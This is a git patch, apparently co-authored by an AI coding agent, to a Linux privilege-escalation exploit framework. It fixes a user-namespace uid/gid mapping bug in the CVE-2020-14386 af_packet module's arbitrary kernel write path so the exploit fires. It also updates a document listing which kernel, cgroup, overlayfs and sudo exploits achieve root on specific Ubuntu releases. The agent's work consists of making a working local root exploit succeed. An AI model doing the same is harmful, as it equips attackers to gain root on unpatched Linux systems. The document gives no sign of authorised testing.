From e01aa99ec6b65dfdef7bbbae7203a072d0ca0523 Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Thu, 23 Jul 2026 20:18:03 -0400 Subject: [PATCH] =?UTF-8?q?af=5Fpacket2:=20fix=20uid=5Fmap=20(read=20uid/g?= =?UTF-8?q?id=20before=20unshare)=20=E2=80=94=20same=20bug=20as=20cgroup?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit af_packet2 read getuid()/getgid() AFTER unshare(CLONE_NEWUSER), so it wrote "0 65534 1" to uid_map/gid_map (65534 = nobody, the initial unmapped id) and the write was rejected EPERM — the userns-root mapping silently failed and the CAP_NET_RAW primitive could not fire. Capture the outer uid/gid before unshare. Audited every userns module for the pattern; only cgroup_release_agent (fixed in 8c45b2b) and af_packet2 had it. Updated docs/EXPLOITED.md. Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y --- docs/EXPLOITED.md | 19 ++++++++++++++----- .../skeletonkey_modules.c | 10 ++++++++-- 2 files changed, 22 insertions(+), 7 deletions(-) diff --git a/docs/EXPLOITED.md b/docs/EXPLOITED.md index c39d5d2..5a9f127 100644 --- a/docs/EXPLOITED.md +++ b/docs/EXPLOITED.md @@ -38,16 +38,25 @@ tamper check). tracer, which by then has reparented to init → `EPERM`). Made **honest** (verifies `euid==0`, otherwise `EXPLOIT_FAIL`); a faithful CVE-2019-13272 port (Jann Horn / bcoles: `PTRACE_TRACEME` + setuid execve + registered polkit - agent) is still required to land root. + agent) is still required to land root. (commit `59cc2be`) +- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read + `getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write + was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1 + mount EPERM). Now the userns+cgroupns+mount setup is correct. It still can't + root a **bare** unprivileged user on a stock systemd host: every v1 controller + is pre-mounted (its `release_agent` is init-owned → EACCES from the userns) + and a fresh named hierarchy is refused. Reachable in a **container** context + (CAP_SYS_ADMIN / an ownable cgroup) — matches its "host root from rootless + container" framing. The `getuid()`-after-`unshare` bug is a pattern to grep + for across the other userns modules. ## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land) | module | CVE | target tested | what's wrong | |---|---|---|---| -| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.2 / 4.15.0-50 | placeholder technique; needs the real cred-transfer PoC | -| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | `chown merged carrier: EPERM` — wrong method; needs the FUSE copy-up PoC (xkaneiki) | -| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-specific, needs a tuned PoC | -| `cgroup_release_agent` | CVE-2022-0492 | Ubuntu 20.04.0 / 5.4.0-26 | honest `EXPLOIT_FAIL`; cgroup-v1/userns release_agent precondition/technique | +| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.2 / 4.15.0-50 | placeholder technique (now honest); needs the real cred-transfer PoC (polkit agent) — substantial port | +| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | genuinely vulnerable target; module uses the wrong method (`chown merged carrier: EPERM`). Needs the FUSE copy-up PoC (xkaneiki): a FUSE server exporting a setuid-root lower + overlay copy-up. Substantial port. | +| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. | ## Inconclusive (detect version-blind vs vendor backport) diff --git a/modules/af_packet2_cve_2020_14386/skeletonkey_modules.c b/modules/af_packet2_cve_2020_14386/skeletonkey_modules.c index 6179b2c..40f0552 100644 --- a/modules/af_packet2_cve_2020_14386/skeletonkey_modules.c +++ b/modules/af_packet2_cve_2020_14386/skeletonkey_modules.c @@ -449,6 +449,12 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc pid_t p = fork(); if (p < 0) return -1; if (p == 0) { + /* Capture the OUTER uid/gid BEFORE unshare: after + * unshare(CLONE_NEWUSER) getuid()/getgid() return 65534 (nobody), + * so a post-unshare map is "0 65534 1" which the kernel rejects + * with EPERM and the userns-root mapping silently fails. */ + unsigned outer_uid = (unsigned)getuid(); + unsigned outer_gid = (unsigned)getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2); int fd; fd = open("/proc/self/setgroups", O_WRONLY); @@ -456,13 +462,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc fd = open("/proc/self/uid_map", O_WRONLY); if (fd >= 0) { char m[64]; - int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid()); + int n = snprintf(m, sizeof m, "0 %u 1", outer_uid); (void)!write(fd, m, n); close(fd); } fd = open("/proc/self/gid_map", O_WRONLY); if (fd >= 0) { char m[64]; - int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid()); + int n = snprintf(m, sizeof m, "0 %u 1", outer_gid); (void)!write(fd, m, n); close(fd); } int rc = af_packet2_primitive_child(c->ictx);